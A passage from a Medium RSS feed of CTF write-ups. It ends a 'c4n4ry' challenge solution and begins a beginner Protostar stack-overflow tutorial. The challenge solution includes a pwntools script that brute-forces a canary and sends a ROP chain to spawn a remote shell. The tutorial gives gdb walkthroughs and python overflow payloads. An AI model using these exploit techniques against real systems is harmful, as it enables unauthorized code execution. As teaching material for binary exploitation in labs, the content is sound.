alt="" src="https://cdn-images-1.medium.com/max/1023/1*JC-4nGEhrwtFdXx7fhxoAA.png" /></figure><p>Then I analyzed the string that was being compared with the help of pwntools</p><p>I got the offset as 192 for the canary. Now let me make a script to get a shell.</p><pre>from pwn import *</pre><pre>&#39;&#39;&#39;<br>system address = 0x400780<br>&#39;&#39;&#39;</pre><pre>p = remote(&quot;134.209.157.250&quot;, 5084)<br>p.sendline(&quot;1&quot;)<br>p.sendline(&quot;1&quot;)<br>buf = (&#39;a&#39;*192)<br>buf += (&#39;abcd&#39;)</pre><p>So I set the canary to be “abcd” and then I searched for some ROP and before that, I also got the offset for the ret to be 20 bytes.</p><p>So I created a ROP chain:-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TB_Vw7FF1y_2zer-bgTwPw.png" /></figure><p>now it&#39;s just combining all of the gadgets that&#39;s it.</p><h4>Final step:</h4><p>I need to brute force the canary. It was damn easy cause i told them the hints that the canary was going to be small letters and was going to be in order.</p><pre>from pwn import *</pre><pre>&#39;&#39;&#39;<br>sys = 0x400780<br>&#39;&#39;&#39;<br>for i in range(80, 123):<br> p = remote(&quot;134.209.157.250&quot;,5084)<br> p.sendline(&quot;1&quot;)<br> p.sendline(&quot;1&quot;)<br> buf = (&#39;a&#39;*192)<br> buf += chr(i)+chr(i+1)+chr(i+2)+chr(i+3)<br> buf += (&#39;a&#39;*20)<br> buf += (p64(0x400936)) // pop r12<br> buf += (&quot;/bin/sh;&quot;)<br> buf += (p64(0x400933)) // pop r11 <br> buf += (p64(0x6020B0)) // just a random address to write to <br> buf += (p64(0x400927)) // mov [r11], r12<br> buf += (p64(0x0000000000400939)) // pop rdi<br> buf += (p64(0x6020B0)) // write address<br> buf += (p64(0x400780)) // system<br> p.sendline(buf)<br> p.interactive()</pre><p>I just made the loop a bit big but what is the problem :P</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*0MYhtu37TO5Mv2Jk5Qxnhg.png" /></figure><p>I hoped you like all of my challenges :)</p><p><a href="https://www.youtube.com/channel/UCeM_QmZx6NodzwSqo7tWHxA">tourpran</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cb5d79fc91a6" width="1" height="1" alt=""><hr><p><a href="https://medium.com/zh3r0/c4n4ry-writeup-cb5d79fc91a6">c4n4ry —  Writeup</a> was originally published in <a href="https://medium.com/zh3r0">ZH3R0</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INTRO TO PWN: PROTSTAR-STACKS]]></title>
            <link>https://medium.com/zh3r0/intro-to-pwn-protstar-stacks-9fcd22be2b2?source=rss----14a9066c581f---4</link>
            <guid isPermaLink="false">https://medium.com/p/9fcd22be2b2</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[intro-to-pwn]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <dc:creator><![CDATA[Nithilan Pugal]]></dc:creator>
            <pubDate>Sun, 03 May 2020 06:44:06 GMT</pubDate>
            <atom:updated>2020-05-10T18:33:24.944Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UJYpDFiz13SCF4ig.png" /><figcaption>Credits: Bit Canon</figcaption></figure><p><strong>What is pwning??? Binary exploitation??? WHAT???</strong></p><p>This blog is an intro to Pwning and it is to teach beginners from the basics. I found many places of great resources for pwning and I thought why not add my experience to help others. I hope this absolutely helps. If you have any questions you can contact me.</p><p>-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*</p><p>Pwning is when you breach or exploit a programming using it’ vulnerabilities to gain root privileges — <em>in a system </em>— or gain access to a program not available to the general public —<em> like your email</em>.</p><p>The first most common vulnerabilities or way of exploitation which you will learn as a beginner is through the Stack. That is Stack Overflow or SMASHING THE STACK!!!!!</p><p>— — ____ — — ____</p><p><strong>What is the heck is a Stack???</strong></p><p>The Stack is a is a very special region of memory in a computer. It stores temporary variables created by each function when that function is called in a program. So every time a function is called the variables and parameters are “pushed” onto the stack and when the function is done then it is “popped” off the stack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/0*YxSHZKppfYPhh8jg.jpg" /></figure><p>Imagine the Stack like the stack of plates in a cafeteria, each plate is a temporary variable or parameter which has been “pushed” onto the stack when that function is called. When the function is finished with the task it will “pop” off all the variables and parameters it has used. Like any other cafeteria and in the Stack, the plates — each variable — are added and removed from the top of the Stack.</p><p>So we will first be using x86 architecture — <em>32 bit.</em> So there are a few important things you need to know about x86 Stack:<br>~The addresses to the stack will be small — 8 hex digits — since it is a 32 bit system<br>~There are 3 important registers you need to know about when you start analyzing and exploiting programs:</p><p>— esp register: It is a register which contains the address which points to the top of the Stack</p><p>— eip register: It contains the address of the current instruction of a function which is going to be executed</p><p>— ebp register: It contains the address which is the base of a function, like the point of reference. When a function is called first ebp register is “pushed” onto the Stack and then everything else. ebp register is used as a point of reference for all variables of that function. It acts like a framework where that function is used so it does not disturb the whole Stack.</p><p>Here how it would look like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/241/0*iVJSqOBJGSUKJzQh" /></figure><p>As you can see here the <strong>esp register</strong> points to the <strong>top of the stack</strong> while the <strong>ebp register</strong> is at the <strong>bottom</strong> of the framework which <strong>acts as a reference</strong> and base point for the current function which was called. In this case <strong>main()</strong> was called, <strong>rip register</strong> is at the function<br>currently pointing to the <strong>current</strong> <strong>instruction</strong>. The <strong>???</strong> below <strong>ebp register</strong> shows other things in the stack which are not part of the <strong>main() function</strong>.</p><p>Now you understand how the Stack works!!!!!!!</p><p>Tools you need to start are :<br> — VM Virtual box: <a href="https://www.virtualbox.org/wiki/Downloads">https://www.virtualbox.org/wiki/Downloads</a><br> — Protostar iso: <a href="http://exploit-exercises.lains.space/download/">http://exploit-exercises.lains.space/download/</a></p><blockquote>**Downloading VirtualBox may vary from each distribution of Linux so make sure to check that out. IF WINDOWS, GET OUTTA HERE!!!!</blockquote><p>Install Virtual Box and connect the iso file and start the Virtual Machine instance of Protostar.</p><pre>protostar login:user<br>password:user<br>$ bash                                <strong>#type bash for /bin/bash</strong><br>user@protostar:~$ ip addr       <strong>#type ip addr to get the ip addr. to<br>                                   #  SSH into it from your terminal</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*QlCzr7rSqUuixPNQxRtNdQ.png" /></figure><p>As you can see at the 3rd section the ip address of my Virtual Machine is:</p><pre>inet <strong>192.168.56.101</strong>/24....</pre><blockquote>**<em>The ip address for a machine may vary on the system</em></blockquote><p>Next I will SSH into the machine because it will not lag as much instead when using the Virtual Machine. This will also allow us to keep more than one terminal instance connect to the VM.</p><p>Open 2 terminal instances and SSH into it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*1t8se76Dhcy-orXeGYmhEw.png" /></figure><pre>ssh user@192.168.56.101   </pre><p>at:</p><pre>user@192.168.56.101’s password:</pre><p>make sure to use the password “user”</p><p>All problems in protostar will be located at the /opt/protostar/bin. <br>Using one Terminal instance(T1):</p><pre>user@protostar:~$ cd /opt/protostar/bin</pre><p>And the other Terminal instance(T2):</p><pre>user@protostar:~$ cd /tmp  #temporary direc. where we can write our <br>                           # exploits</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*DGg7onYoliqXjt97NFoBWA.png" /></figure><p>T1:</p><pre>user@protostar:/opt/protostar/bin$ ls -la <br>#to get list of challenges</pre><p><strong>NOW LETS GET STARTED!!!!!!!!!!!!!!!!!!</strong></p><p>……………</p><p>………………..</p><p>……………………….</p><p>.</p><h3>STACK 0:</h3><pre>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;stdio.h&gt;<br><br>int main(int argc, char **argv)<br>{<br>  volatile int modified;<br>  char buffer[64];<br><br>  modified = 0;<br>  gets(buffer);<br><br>  if(modified != 0) {<br>      printf(&quot;you have changed the &#39;modified&#39; variable\n&quot;);<br>  } else {<br>      printf(&quot;Try again?\n&quot;);<br>  }<br>}</pre><p>This is the C file of the first Stack problem which can be found on: <a href="https://exploit-exercises.lains.space/protostar/stack0/">https://exploit-exercises.lains.space/protostar/stack0/</a></p><p>As you can see:</p><pre>char buffer[64]; <strong>#defines a buffer of 64 bytes which takes in chars</strong></pre><pre>modified = 0; <strong>#defines a variable which can be modified</strong></pre><pre>gets(buffer); <strong>#gets input from a user and puts it in the buffer</strong></pre><pre>if(modified != 0) {<br>      printf(&quot;you have changed the &#39;modified&#39; variable\n&quot;);<br>  } else {<br>      printf(&quot;Try again?\n&quot;);<br>  }<br>}</pre><p>Now taking a look at the IF statement:<br> — If modified is NOT EQUAL to 0 only then “You have changed the ‘modified’ variable” is printed out. ELSE “Try Again” is printed<br> — Thus this means we have to somehow change the ‘modified’ variable</p><p>Now let us look at the function ‘gets’:</p><pre>~$ man gets  <strong>#this will give information about the &#39;gets&#39; function</strong></pre><p>Scroll down to Bugs section:</p><pre>BUGS<br>      Never use gets().  Because it is <strong>impossible to tell</strong> without knowing the <strong>data in advance how many characters gets() will read</strong>, and because  <strong>gets() will continue to store characters past the end of the buffer</strong>, it is extremely dangerous to use.  It has been used to break computer security.....</pre><p>Hmmmmm… Looking at the sentence above. What can you tell??<br><br>‘gets’ will take in all the character input into ‘gets’ and will continue storing characters past the end of the buffer. So if we write a lot of characters to ‘gets’ it will overwhelm and SMASH THE STACK!!!!<br>Now lets try that on T1:</p><pre>user@protostar:/opt/protostar/bin$ ./stack0<br>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</pre><pre>you have changed the &#39;modified&#39; variable</pre><p>YAY WE DID IT!!!!! We input in so many characters that it was more than 64 byte char buffer that the ’gets’ kept on writing on the stack after it finished writing on the buffer which changed the ‘modified’ variable since it was overwritten in ‘A’ or 0x41.</p><h3>STACK 1:</h3><pre>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br><br>int main(int argc, char **argv)<br>{<br>  volatile int modified;<br>  char buffer[64];<br><br>  if(argc == 1) {<br>      errx(1, &quot;please specify an argument\n&quot;);<br>  }<br><br>  modified = 0;<br>  strcpy(buffer, argv[1]);<br><br>  if(modified == 0x61626364) {<br>      printf(&quot;you have correctly got the variable to the right value\n&quot;);<br>  } else {<br>      printf(&quot;Try again, you got 0x%08x\n&quot;, modified);<br>  }<br>}</pre><p>This is the C file for Stack1 now lets take a look at it.</p><p>As you can see it still holds the same vulnerability as before:</p><pre>strcpy(buffer, argv[1]);</pre><p>‘argv’ will take in number of characters in the beginning of the program and all of it copied to the buffer using ‘strcpy’ and if it exceeds the buffer limit it will then overwrite variables on the stack.</p><p>So know looking at the if statement: ONLY IF modified = 0x61626364 will we get &quot;you have correctly got the variable to the right value&quot;printed out.</p><p>Thus we have to calculate our offset or the number of bytes from where to input starts till the variable we have to change. Let us take a look at the program in gdb.</p><pre>user@protostar:/opt/protostar/bin$ gdb stack1<br>...<br>(gdb) info functions <strong># info functions show the functions in the <br>....                 # program</strong><br>(gdb) set disassembly-flavor intel <strong># this set the assembly</strong> <br>                         <strong># language in which the program is <br>                         # disassembled in as intel syntax</strong><br>(gdb) b*main #sets a breakpoint at main<br>(gdb) disassemble main #disassembles the main function<br><strong>0x08048464 &lt;main+0&gt;:    push   ebp</strong><br>0x08048465 &lt;main+1&gt;:    mov    ebp,esp<br>0x08048467 &lt;main+3&gt;:    and    esp,0xfffffff0<br>0x0804846a &lt;main+6&gt;:    sub    esp,0x60<br>0x0804846d &lt;main+9&gt;:    cmp    DWORD PTR [ebp+0x8],0x1<br>0x08048471 &lt;main+13&gt;:   jne    0x8048487 &lt;main+35&gt;<br>0x08048473 &lt;main+15&gt;:   mov    DWORD PTR [esp+0x4],0x80485a0<br>0x0804847b &lt;main+23&gt;:   mov    DWORD PTR [esp],0x1<br><strong>0x08048482 &lt;main+30&gt;:   call   0x8048388 &lt;errx@plt&gt;</strong><br>0x08048487 &lt;main+35&gt;:   mov    DWORD PTR [esp+0x5c],0x0<br>0x0804848f &lt;main+43&gt;:   mov    eax,DWORD PTR [ebp+0xc]<br>0x08048492 &lt;main+46&gt;:   add    eax,0x4<br>0x08048495 &lt;main+49&gt;:   mov    eax,DWORD PTR [eax]<br>0x08048497 &lt;main+51&gt;:   mov    DWORD PTR [esp+0x4],eax<br>0x0804849b &lt;main+55&gt;:   lea    eax,[esp+0x1c]<br>0x0804849f &lt;main+59&gt;:   mov    DWORD PTR [esp],eax<br><strong>0x080484a2 &lt;main+62&gt;:   call   0x8048368 &lt;strcpy@plt&gt;</strong><br><strong>0x080484a7 &lt;main+67&gt;:   mov    eax,DWORD PTR [esp+0x5c]<br>0x080484ab &lt;main+71&gt;:   cmp    eax,0x61626364</strong><br>0x080484b0 &lt;main+76&gt;:   jne    0x80484c0 &lt;main+92&gt;<br>0x080484b2 &lt;main+78&gt;:   mov    DWORD PTR [esp],0x80485bc<br>0x080484b9 &lt;main+85&gt;:   call   0x8048398 &lt;puts@plt&gt;<br>0x080484be &lt;main+90&gt;:   jmp    0x80484d5 &lt;main+113&gt;<br>0x080484c0 &lt;main+92&gt;:   mov    edx,DWORD PTR [esp+0x5c]<br>0x080484c4 &lt;main+96&gt;:   mov    eax,0x80485f3<br>0x080484c9 &lt;main+101&gt;:  mov    DWORD PTR [esp+0x4],edx<br>0x080484cd &lt;main+105&gt;:  mov    DWORD PTR [esp],eax<br>0x080484d0 &lt;main+108&gt;:  call   0x8048378 &lt;printf@plt&gt;<br>0x080484d5 &lt;main+113&gt;:  leave  <br>0x080484d6 &lt;main+114&gt;:  ret</pre><pre>#important addresses will be in <strong>BOLD...</strong>given by me not the program</pre><p>So know let us analyze the assembly code of the disassembled main function of the program:</p><p>— <strong>0x08048464 &lt;main+0&gt;: push ebp </strong>— As you can see when the function is called, first ebp register is pushed on the stack and it points to the point of reference for the function</p><p>— <strong>0x08048482 &lt;main+30&gt;: call 0x8048388 &lt;errx@plt&gt; </strong>— If you look back at the C code of Stack1:</p><p>if(argc == 1) {<br> errx(1, &quot;please specify an argument\n&quot;);<br> } <br>:It says when there is no input it will print an error message</p><p>— <strong>0x080484a2 &lt;main+62&gt;: call 0x8048368 &lt;strcpy@plt&gt; </strong>— If you remember back to the C code: <br>strcpy(buffer, argv[1]);<br>As you can see the input is copied from ‘argv’ to the buffer, thus is how we are going to exploit it</p><p>— <strong>0x080484a7 &lt;main+67&gt;: mov eax,DWORD PTR [esp+0x5c] </strong>— This moves the hex values stored at the address <strong>$esp+0x5c</strong> on the Stack to the <strong>eax</strong> register.</p><p>— <strong>0x080484ab &lt;main+71&gt;: cmp eax,0x61626364 </strong>— This compares <strong>eax</strong> register to the <strong>0x61626364</strong> hex values. Depending on that will determine where is ‘jumps’ in the program.</p><p>Why don’t you find out how this <strong>‘IF’</strong> statement works and search up what <strong>‘jne’ </strong>and <strong>‘jmp’</strong> is?</p><p>Now lets run the program!!!</p><pre>(gdb) b*0x080484a2 <strong>#Sets breakpoint at STRCPY</strong><br>(gdb) run AAAAAAAAAAA <strong>#This runs the program and gives input AAAA...</strong><br>Starting program: /opt/protostar/bin/stack1 AAAAAAAAAAA</pre><pre>Breakpoint 1, main (argc=2, argv=0xbffff834) at stack1/stack1.c:7<br>7       in stack1/stack1.c</pre><pre><strong>#As you can see we are currently at Breakpoint 1 which is the breakpoint we placed at the start of the main function</strong></pre><pre>(gdb) c <strong>#Continues the program until it reaches the next breakpoint</strong><br>Continuing.</pre><pre>Breakpoint 2, 0x080484a2 in main (argc=2, argv=0xbffff844) at stack1/stack1.c:16<br>16      in stack1/stack1.c1.c</pre><pre><strong>#Right now we are right before the </strong>STRCPY<strong> is executed type &#39;</strong>ni<strong>&#39; for next instruction</strong></pre><pre>(gdb) ni</pre><pre><strong>#Now the </strong>STRCPY<strong> has been executed and </strong>move eax<strong> is about to be executed</strong></pre><pre>(gdb) x/40wx $esp <strong>#shows 40 places from </strong>$esp<strong> on the top<br></strong>0xbffff730:  0xbffff74c  0xbffff97d  0xb7fff8f8  0xb7f0186e<br>0xbffff740:  0xb7fd7ff4  0xb7ec6165  0xbffff758  <strong>0x41414141</strong><br>0xbffff750:  <strong>0x41414141</strong>  <strong>0x00414141</strong>  0xbffff768  0x08048334<br>0xbffff760:  0xb7ff1040  0x080496fc  0xbffff798  0x08048509<br>0xbffff770:  0xb7fd8304  0xb7fd7ff4  0x080484f0  0xbffff798<br>0xbffff780:  0xb7ec6365  0xb7ff1040  0x080484fb  0x00000000<br>0xbffff790:  0x080484f0  0x00000000  0xbffff818  0xb7eadc76<br>0xbffff7a0:  0x00000002  0xbffff844  0xbffff850  0xb7fe1848<br>0xbffff7b0:  0xbffff800  0xffffffff  0xb7ffeff4  0x08048281<br>0xbffff7c0:  0x00000001  0xbffff800  0xb7ff0626  0xb7fffab0</pre><pre><strong>#Can you find the &#39;A&#39;s which we input in?? We found were the input starts, which is at the end of </strong>0xbfff740<strong> row. Now to find where </strong>esp+0x5c<strong> is. We can use the same command as before</strong></pre><pre>(gdb) x $esp+0x5c <strong>#prints where and what is in this address on the</strong><br>0xbffff78c:    0x00000000                                   <strong>#Stack</strong></pre><p>#Where is 0xbffff8c?</p><blockquote>**remember this is hexadecimal not denary number sytem**</blockquote><p>Let us look at the 0xbffff780 row. Lets count from each place from 0 to c. When we reach c we see that it is at the end of the row with 0x00000000. Now let us calculate the offset from the input starting to $esp+0x5c. 16X4 = 64 bytes or 64 A’s and then add the address 0x61626364.</p><p>Now quit from gdb using quit. Now let us make a input using python and pipe it into the functions:</p><p>So we know we need 64 bytes or 64 A’s from the input to $esp+0x5c and then we must add 0x61626364 with our 64 A’s such that overwrites the $esp+0x5c and makes that “IF” statement true. Rememeber this program — and most programs — follow the little endian way of coding. Meaning when putting in an input, it will be reversed. Eg:</p><pre>(gdb) run ABCD<br>Breakpoint 2<br>(gdb) x/24wx $esp<br>0xbffff740: 0xb7fd7ff4  0xb7ec6165  0xbffff758  0x44434241</pre><p>As you can see it is reversed and put in. Thus we must reverse 0x61626364 and input it in with the offset.</p><p>Did any of you notice what 0x61, 0x62, 0x63 and 0x64 means???</p><p>Yup that is right a, b, c and d. Thus the exploit would be 64 A’s and ‘dcba’ and this would overwrite the offset to show 0x61626364. Now let us do this uing python:</p><pre>user@protostar:/opt/protostar/bin$ <br>./stack1 $(python -c &#39;print &quot;A&quot;*64 + &quot;dcba&quot;&#39;)<br>you have correctly got the variable to the right value</pre><p>YAY!!!!! We did it!!!</p><p>Now you might be wondering what I did:<br><strong>./stack1</strong> : executes the stack1 binary<br><strong>$</strong> : tells to execute the next part as a bash command and take its output as the input for ./stack1 <br><strong>() </strong>: takes what is in between the brakets as one whole<strong><br>python</strong> : calls upon python2<br><strong>-c</strong> : means command or execute what comes in between <strong>‘ ‘</strong></p><h3>STACK 2:</h3><pre>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br><br>int main(int argc, char **argv)<br>{<br>  volatile int modified;<br>  char buffer[64];<br>  char *variable;<br><br>  variable = getenv(&quot;GREENIE&quot;);<br><br>  if(variable == NULL) {<br>      errx(1, &quot;please set the GREENIE environment variable\n&quot;);<br>  }<br><br>  modified = 0;<br><br>  strcpy(buffer, variable);<br><br>  if(modified == 0x0d0a0d0a) {<br>      printf(&quot;you have correctly modified the variable\n&quot;);<br>  } else {<br>      printf(&quot;Try again, you got 0x%08x\n&quot;, modified);<br>  }<br><br>}</pre><p>This is the C code of Stack2 now let us take at a look at it.</p><p>If we think back to the last Stack problem we can spot the same vulnerability? Can you find it?<br>Yup you are correct: strcpy(buffer, variable); <br>As you can remember strcpy is like ‘gets’ , it copies everything from the ‘variable’ to ‘buffer’ without checking how big it is.</p><p>Now let us check what is the variable:<br> variable = getenv(&quot;GREENIE&quot;);<br>Here you can see the ‘variable’ takes the input as the value of the environment variable ‘GREENIE’. Let us see if ‘GREENIE’ environment variable is defined in our machine</p><pre>user@protostar:/opt/protostar/bin$ printenv</pre><p>Try looking for the environment variable. Another easier way of searching is</p><pre>user@protostar:/opt/protostar/bin$ printenv | grep &quot;GREENIE&quot;</pre><p>Hmmmm…No output. That means the ‘GREENIE’ environemnt variable does not exist. This means we have to set an environment variable named GREENIE. How do we do that??</p><p>We must export the environment variable with it’s value</p><pre>export GREENIE=&quot;whatever&quot;</pre><p>We can export and set a variable GREENIE like this.</p><p>So since the vulnerability like in Stack 1 is like this. Our exploit must be through by setting the GREENIE environment variable which contains the value as our script for exploitation.</p><p>Let us look at the “IF” condition:<br> if(modified == 0x0d0a0d0a)<br>So ‘IF’ the ‘modified’ variable is overwritten as 0x0d0a0d0a only then we get the correct output.</p><p>Now let us put together a script. First let us check if shell script and python works:</p><pre>user@protostar:/opt/protostar/bin$ export GREENIE=$(python -c &quot;print &#39;Hello&#39; &quot; )<br>user@protostar:/opt/protostar/bin$ printenv | grep &quot;GREENIE&quot;<br>GREENIE=Hello</pre><p>Yay!!! Both shell script and python works. So building on our script from last vulnerability we can see that a buffer of the size of 64 bytes is made in the C program and thus we know that our offset is 64, and now the bytes which are our payload which overwrites the ‘modified’ variable to 0x0d0a0d0a.</p><p>When converting a hex to little endian we reverse the hex by 2s and add \x like this: 0x0d<strong><em>0a</em></strong>0d<strong>0a</strong> = \x<strong>0a</strong>\x0d\x<strong><em>0a</em></strong>\x0d, I have differentiated the 0a so you can tell.</p><p>Thus our exploitation would be:</p><pre>export GREENIE=$(python -c &quot;print &#39;A&#39;*64 + &#39;\x0a\x0d\x0a\x0d&#39; &quot;)</pre><p>Now run the above script and then:</p><pre>user@protostar:/opt/protostar/bin$ ./stack2<br>you have correctly modified the variable</pre><p>YAY!!!! We correctly modified the variable through the environment variable!!!!!</p><blockquote><em>**Rememeber to unset your environment variable as it may cause problems with other exploits which you will find out later why: </em><strong><em>unset GREENIE</em></strong></blockquote><h3>STACK 3:</h3><pre>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br><br>void win()<br>{<br>  printf(&quot;code flow successfully changed\n&quot;);<br>}<br><br>int main(int argc, char **argv)<br>{<br>  volatile int (*fp)();<br>  char buffer[64];<br><br>  fp = 0;<br><br>  gets(buffer);<br><br>  if(fp) {<br>      printf(&quot;calling function pointer, jumping to 0x%08x\n&quot;, fp);<br>      fp();<br>  }<br>}</pre><p>This is the C code for Stack 3. Now let u take a look at it.</p><p>When you look at this what is the first thing you spot???<br>It is SIMILAR to Stack 0 instead of a ‘modified’ variable there is a fp variable or function pointer. We now have to exploit the program and overwrite the fp variable on the stack such that when the fp() is called it then jumps to the win() function.</p><p>Now me must find the address of the win() function</p><p>We analyze like we have done before, look at the functions and set a breakpoint at main and change disassemble language to intel</p><pre>(gdb) x win  <strong>#this shows the address of the function</strong><br>0x8048424 &lt;win&gt;:        0x83e58955</pre><p>As we can see here the win() function is at the address 0x8048424. Now let us disassemble main to check our offset to make sure that it is 64 or more because environment variables are also stored on the stack.</p><pre>(gdb) disassemble main<br>Dump of assembler code for function main:<br>0x08048438 &lt;main+0&gt;:    push   ebp<br>0x08048439 &lt;main+1&gt;:    mov    ebp,esp<br>0x0804843b &lt;main+3&gt;:    and    esp,0xfffffff0<br>0x0804843e &lt;main+6&gt;:    sub    esp,0x60<br>0x08048441 &lt;main+9&gt;:    mov    DWORD PTR [esp+0x5c],0x0<br>0x08048449 &lt;main+17&gt;:   lea    eax,[esp+0x1c]<br>0x0804844d &lt;main+21&gt;:   mov    DWORD PTR [esp],eax<br><strong>0x08048450 &lt;main+24&gt;:   call   0x8048330 &lt;gets@plt&gt;</strong><br><strong>0x08048455 &lt;main+29&gt;:   cmp    DWORD PTR [esp+0x5c],0x0</strong><br><strong>0x0804845a &lt;main+34&gt;:   je     0x8048477 &lt;main+63&gt;</strong><br>0x0804845c &lt;main+36&gt;:   mov    eax,0x8048560<br>0x08048461 &lt;main+41&gt;:   mov    edx,DWORD PTR [esp+0x5c]<br>0x08048465 &lt;main+45&gt;:   mov    DWORD PTR [esp+0x4],edx<br>0x08048469 &lt;main+49&gt;:   mov    DWORD PTR [esp],eax<br>0x0804846c &lt;main+52&gt;:   call   0x8048350 &lt;printf@plt&gt;<br><strong>0x08048471 &lt;main+57&gt;:   mov    eax,DWORD PTR [esp+0x5c]<br>0x08048475 &lt;main+61&gt;:   call   eax</strong><br>0x08048477 &lt;main+63&gt;:   leave  <br>0x08048478 &lt;main+64&gt;:   ret</pre><p>— <strong>0x08048450 &lt;main+24&gt;: call 0x8048330 &lt;gets@plt&gt; </strong>— This calls the ‘gets’ function and takes our input.</p><p>— <strong>0x08048455 &lt;main+29&gt;: cmp DWORD PTR [esp+0x5c],0x0 </strong>— This compares 0x0 with what is in the address at $esp+0x5c</p><p>— <strong>0x0804845a &lt;main+34&gt;: je 0x8048477 &lt;main+63&gt; </strong>— If the above checks as TRUE you jump to &lt;main+36&gt; ELSE move to the next intruction</p><p>— <strong>0x08048471 &lt;main+57&gt;: mov eax,DWORD PTR [esp+0x5c] </strong>— What is at the address $esp+0x5c is moved to the eax register</p><p>— <strong>0x08048475 &lt;main+61&gt;: call eax </strong>— Then eax is called</p><p>Thus what we can infer from this is that fp is $esp+0x5c now we must find the offset to the fp. Lets define a hook stop which will automate a process of a few functions we always like to call:</p><pre>(gdb) define hook-stop<br>&gt;info registers  <strong>#prints the values of each register</strong><br>&gt;x/32wx $esp<br>&gt;x/2i $eip <strong>#prints the current and next intruction of $eip</strong><br>&gt;end</pre><p>Now lets run the program:</p><pre>(gdb) run</pre><p>Now we are currently at the Breakpoint 1, at main. Keep doing “ni” — next instruction — to see how the program progress as each instruction is executed and see the changes on the Stack. Continue until you reach ‘gets’ is about to be called:</p><pre>eax            0xbffff75c       -1073744036<br>ecx            0x5c3dab17       1547545367<br>edx            0x1      1<br>ebx            0xb7fd7ff4       -1208123404<br>esp            0xbffff740       0xbffff740<br>ebp            0xbffff7a8       0xbffff7a8<br>esi            0x0      0<br>edi            0x0      0<br>eip            0x8048450        0x8048450 &lt;main+24&gt;<br>eflags         0x200282 [ SF IF ID ]<br>cs             0x73     115<br>ss             0x7b     123<br>ds             0x7b     123<br>es             0x7b     123<br>fs             0x0      0<br>gs             0x33     51<br>0xbffff740:   0xbffff75c    0x00000001    0xb7fff8f8    0xb7f0186e<br>0xbffff750:   0xb7fd7ff4    0xb7ec6165    0xbffff768    0xb7eada75<br>0xbffff760:   0xb7fd7ff4    0x0804967c    0xbffff778    0x0804830c<br>0xbffff770:   0xb7ff1040    0x0804967c    0xbffff7a8    0x080484a9<br>0xbffff780:   0xb7fd8304    0xb7fd7ff4    0x08048490    0xbffff7a8<br>0xbffff790:   0xb7ec6365    0xb7ff1040    0x0804849b    0x00000000<br>0xbffff7a0:   0x08048490    0x00000000    0xbffff828    0xb7eadc76<br>0xbffff7b0:   0x00000001    0xbffff854    0xbffff85c    0xb7fe1848<br>0x8048450 &lt;main+24&gt;:    call   0x8048330 &lt;gets@plt&gt;<br>0x8048455 &lt;main+29&gt;:    cmp    DWORD PTR [esp+0x5c],0x0<br>0x08048450      18      in stack3/stack3.c</pre><p>When you enter “ni” now input in AAAAAAAA</p><pre>AAAAAAAA<br>eax            0xbffff75c       -1073744036<br>ecx            0xbffff75c       -1073744036<br>edx            0xb7fd9334       -1208118476<br>ebx            0xb7fd7ff4       -1208123404<br>esp            0xbffff740       0xbffff740<br>ebp            0xbffff7a8       0xbffff7a8<br>esi            0x0      0<br>edi            0x0      0<br>eip            0x8048455        0x8048455 &lt;main+29&gt;<br>eflags         0x200246 [ PF ZF IF ID ]<br>cs             0x73     115<br>ss             0x7b     123<br>ds             0x7b     123<br>es             0x7b     123<br>fs             0x0      0<br>gs             0x33     51<br>0xbffff740:   0xbffff75c    0x00000001    0xb7fff8f8    0xb7f0186e<br>0xbffff750:   0xb7fd7ff4    0xb7ec6165    0xbffff768    0x41414141<br>0xbffff760:   0x41414141    0x08049600    0xbffff778    0x0804830c<br>0xbffff770:   0xb7ff1040    0x0804967c    0xbffff7a8    0x080484a9<br>0xbffff780:   0xb7fd8304    0xb7fd7ff4    0x08048490    0xbffff7a8<br>0xbffff790:   0xb7ec6365    0xb7ff1040    0x0804849b    0x00000000<br>0xbffff7a0:   0x08048490    0x00000000    0xbffff828    0xb7eadc76<br>0xbffff7b0:   0x00000001    0xbffff854    0xbffff85c    0xb7fe1848<br>0x8048455 &lt;main+29&gt;:    cmp    DWORD PTR [esp+0x5c],0x0<br>0x804845a &lt;main+34&gt;:    je     0x8048477 &lt;main+63&gt;<br>20      in stack3/stack3.c</pre><p>So know we know where the input starts, lets find where fp is.</p><pre>(gdb) x/wx $esp+0x5c<br>0xbffff79c:     0x00000000</pre><p>Hmmm lets look at the 0xbffff790 row and voila!!! There are the end is 0x00000000. Now lets count how much our offset: 16X4 = 64 bytes. Remember it is always good to check the offset so you never mess up.</p><p>We have our offset and address of the win() let us now construct our scripting. This is where the 2nd Terminal tab or window will come in handy at the /tmp directory:<br>Now let us a create a script using python</p><pre>user@protostar:/tmp$ vim exp.py</pre><blockquote>It is important to know what is VIM and how it works, if not go read up about 